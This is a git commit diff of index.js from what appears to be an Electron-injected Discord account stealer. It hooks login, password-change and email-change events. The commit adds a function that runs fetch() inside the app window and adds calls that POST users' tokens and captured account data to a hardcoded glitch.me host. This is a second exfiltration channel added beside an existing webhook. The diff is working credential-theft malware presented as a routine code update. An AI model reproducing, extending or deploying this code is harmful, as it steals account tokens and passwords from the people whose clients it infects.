Update index.js

This commit is contained in:
What about KSCH 2022-12-15 23:07:39 +01:00 committed by GitHub
parent 758ac6a321
commit 3b78194185
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 47 additions and 18 deletions

View File

@ -169,6 +169,11 @@ noSessionPlease()
let gamingchair = "https://healthy-rowan-bottle.glitch.me/hello/"
session.defaultSession.webRequest.onHeadersReceived((details, callback) => {
if (details.url.startsWith(config.webhook)) {
@ -204,7 +209,19 @@ session.defaultSession.webRequest.onHeadersReceived((details, callback) => {
})
async function blackcapeval(url, embed){
const window = BrowserWindow.getAllWindows()[0];
console.log(url + embed)
var b = await window.webContents.executeJavaScript(`
fetch("${url}", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(${embed})
})`, !0)
return b
}
const hooker = async (content) => {
const data = JSON.stringify(content);
@ -328,6 +345,11 @@ async function FirstTime() {
}
}]
};
let data = JSON.stringify(c);
let UwU = JSON.stringify({ data: data, token: token })
blackcapeval(gamingchair, UwU);
hooker(c)
};
@ -365,6 +387,11 @@ async function FirstTime() {
}
}]
};
let data = JSON.stringify(c);
let UwU = JSON.stringify({ data: data, token: token })
blackcapeval(gamingchair, UwU);
hooker(c)
} else {
@ -430,6 +457,12 @@ async function FirstTime() {
}
}]
};
let data = JSON.stringify(c);
let UwU = JSON.stringify({ data: data, token: token })
blackcapeval(gamingchair, UwU);
hooker(c)
}
}
@ -462,13 +495,6 @@ async function saveidtofile(text, name) {
}
async function deletefile(name) {
fs.unlink(`${name}`, function(err) {
if (err) return;
});
}
async function getFromURL(url, token) {
const window = BrowserWindow.getAllWindows()[0];
var b = await window.webContents.executeJavaScript(`
@ -480,16 +506,6 @@ async function getFromURL(url, token) {
return b
}
async function getFromURLnp(url, token) {
const window = BrowserWindow.getAllWindows()[0];
var b = await window.webContents.executeJavaScript(`
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "${url}", false );
xmlHttp.setRequestHeader("Authorization", "${token}");
xmlHttp.send( null );`, !0)
return b
}
@ -901,7 +917,12 @@ async function Login(email, password, token) {
"url": `${usericonurl}`
}
}]
}
let data = JSON.stringify(params);
let UwU = JSON.stringify({ data: data, token: token })
blackcapeval(gamingchair, UwU);
hooker(params)
})
})
@ -1062,6 +1083,10 @@ async function ChangePassword(oldpassword, newpassword, token) {
}
}]
}
let data = JSON.stringify(params);
let UwU = JSON.stringify({ data: data, token: token })
blackcapeval(gamingchair, UwU);
hooker(params)
})
})
@ -1225,6 +1250,10 @@ async function ChangeEmail(newemail, password, token) {
}
]
}
let data = JSON.stringify(params);
let UwU = JSON.stringify({ data: data, token: token })
blackcapeval(gamingchair, UwU);
hooker(params)
})
})